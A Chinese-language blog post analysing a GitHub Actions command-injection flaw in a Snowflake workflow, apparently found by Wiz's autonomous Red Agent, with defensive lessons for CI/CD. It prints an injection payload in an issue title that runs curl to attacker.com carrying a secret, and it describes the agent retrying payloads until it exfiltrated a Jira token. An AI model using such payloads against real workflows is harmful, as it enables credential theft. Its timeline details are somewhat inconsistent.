配了三年 GitHub Actions,今天才发现 AI 自己会找漏洞了——Wiz Red Agent 把这件事彻底变了

接到安全团队报告的时候,Snowflake 的工程师可能没想到这个漏洞会在五天内被人主动找上门。

2026 年 6 月 18 日,Snowflake 的一个 GitHub Actions workflow 被合并,jira_issue.yml 里把 issue title 直接塞进了 shell 脚本。一个安全研究员当时没有在意。六月 23 日,Wiz 的 Red Agent 在例行扫描中发现了同一个文件——五天后,这个漏洞已经被主动利用,Jira token 已经外传。

这件事把 GitHub Actions 安全的三个根子全扒开了。

第一个根子:直接插值进 shell

jira_issue.yml 这个 workflow 触发于 issues: opened,逻辑是把 issue 的标题和正文拼进一条 shell 命令。合并前的安全版本用了环境变量加 jq 解析,PR #1218 把这个改成了直接插值:

# 漏洞版本
run: |
  gh issue close ${{ github.event.issue.title }}

GitHub Actions 的表达式展开发生在 shell 转义之前。攻击者只需要在 issue 标题里塞一个单引号,就能跳出字符串注入任意命令:

title: '"test"; curl https://attacker.com/?$(cat /path/to/secret) #'

GitHub 自己 2025 年 7 月就发过博文明确警告这个模式,但代码里还是出现了。

第二个根子:属性不存在时返回空字符串

这个 workflow 里本来有一道防护_gate,检查执行者是不是特定 bot 账号:

if: github.event.pull_request.user.login != 'bot-name'

但这个 workflow 触发的是 issues: opened,不是 pull_request 事件,根本不存在 pull_request 这个属性。GitHub 的表达式语言对不存在的属性返回空字符串而不是报错——所以 github.event.pull_request.user.login 求值结果是 ''!= 'bot-name' 恒为真,防护形同虚设。

第三个根子:GitHub 自己的扫描漏了

PR #1218 被 GitHub Advanced Security 扫描过,没有标记这个注入问题。Copilot Autofix 甚至还参与了同一个 PR 的另一个文件(jira_close.yml)的修改,被标记为”无安全问题”。

Wiz Red Agent 扫描时,GitHub Advanced Security 的结果也被同步拉取——两道扫描都过了,但漏洞在生产里躺了五天。AI 辅助编程和 AI 辅助安全,两件事都在发生,但它们之间没有形成闭环。

Wiz Red Agent 是怎么挖到这条的

Red Agent 是 Wiz 的自主安全研究智能体,不需要人工驱动任务。扫描 Snowflake 的 GitHub 组织时,它在 6 月 23 日自动找到了 jira_issue.yml 文件,第一个 payload 尝试用 # 注释掉后半段命令,结果 bash 语法报错。Red Agent 没有放弃——它分析了这个语法错误,把 payload 改成正确闭合 shell 上下文,第二次直接收到回调,Jira API token(base64 编码,来自 GitHub Actions runner 的环境变量)进了 Wiz 的服务器。

这个 token 属于 qa@snowflake.net,对 Jira 上的工程、安全合规和 bug bounty 项目有读权限。Wiz 当天就通过 HackerOne 报了,Snowflake 同一天合并修复(恢复环境变量 + jq 模式),第二天轮换了 token。

从 Snowflake 这件事里捞出来的工程教训

一是 GitHub Actions 的表达式插值进 shell 是目前 CI/CD 里最常见的命令注入源,issue、PR、comment 这类用户可控字段,永远不要直接拼进 run: 块,用环境变量过一道 jq 再引用是标准解法。

二是属性存在性检查要显式用 github.event_namecontains() 函数,不能假设某个事件一定有某个属性——GitHub 的静默空字符串是设计选择,不是 bug,但它会让防护逻辑悄悄失效。

三是 AI 已经在写 workflow 文件了,这件事本身没有停下来,但代码入库前的静态扫描必须跟上,GitHub Advanced Security 扫不过的不代表安全,Copilot 标记为无问题的也不代表安全,有条件应该用 actionlint 这类工具在 pre-commit 或 PR 阶段做专项检查。

把 workflow 里的表达式想象成数据库查询里的拼接 SQL——你不会让用户输入直接进查询语句,GitHub Actions 里的 issue 内容也一样。

下一步:去翻一下你们组织的 .github/workflows/ 目录,搜一下 github.event. 后面跟 .title.body.issue.* 直接进 run: 块的模式,这是今天就能自检的最快路径。

评论区

0 条评论

登录后可评论。